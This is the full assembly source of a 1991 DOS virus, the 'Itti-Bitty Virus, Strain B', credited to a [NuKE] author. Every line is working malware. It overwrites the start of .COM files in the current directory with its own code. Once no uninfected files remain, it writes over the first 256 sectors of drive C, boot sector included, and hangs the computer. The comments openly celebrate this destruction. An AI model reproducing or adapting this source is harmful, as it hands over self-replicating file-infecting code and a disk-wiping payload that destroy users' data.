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itti-b.asm
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Assembly Source File
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1991-12-25
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3KB
|
96 lines
; The Itti-Bitty Virus, Strain B
; The smallest virus ever written (only 99 bytes)
;
; (C) 1991 Nowhere Man and [NuKE] WaErZ
; Written by Nowhere Man
;
;
title "The Itti-Bitty Virus, Strain B: Even smaller"
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
code_length equ finish - start
start label near
id_bytes proc near
mov si,si ; Serves no purpose: our ID
id_bytes endp
main proc near
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds attribute mask
mov dx,offset com_spec ; DX points to "*.COM"
file_loop: int 021h
jc go_off ; If there are no files, go off
call infect_file ; Try to infect found file
jne exit_virus ; Exit if successful
mov ah,04Fh ; DOS find next file function
jmp short file_loop ; Repeat until out of files
exit_virus: mov ax,04C01h ; DOS terminate function, code 1
int 021h
main endp
go_off proc near
cli ; Prevent all interrupts
mov ah,2 ; AH holds drive number (C:)
cwd ; Start with sector 0 (boot sector)
mov cx,0100h ; Write 256 sectors (fucks disk)
int 026h ; DOS absolute write interrupt
jmp $ ; Infinite loop; lock up computer
go_off endp
infect_file proc near
mov ax,03D02h ; DOS open file function, read-write
mov dx,09Eh ; DX points to the victim
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,2 ; CX holds byte to read (2)
mov dx,offset buffer ; DX points to buffer
int 021h
cmp word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI"
pushf ; Save flags
je close_it_up ; If not, then file is OK
cwd ; Zero CX \_ Zero bytes from start
mov cx,dx ; Zero DX /
mov ax,04200h ; DOS file seek function, start
int 021h
mov ah,040h ; DOS write to file function
mov cx,code_length ; CX holds virus length
mov dx,offset start ; DX points to start of virus
int 021h
close_it_up: mov ah,03Eh ; DOS close file function
int 021h
popf ; Restore flags
ret ; Return to caller
buffer dw ? ; Buffer to hold test data
infect_file endp
; Initialized data goes here
com_spec db "*.COM",0 ; What to infect: all COM files
finish label near
code ends
end id_bytes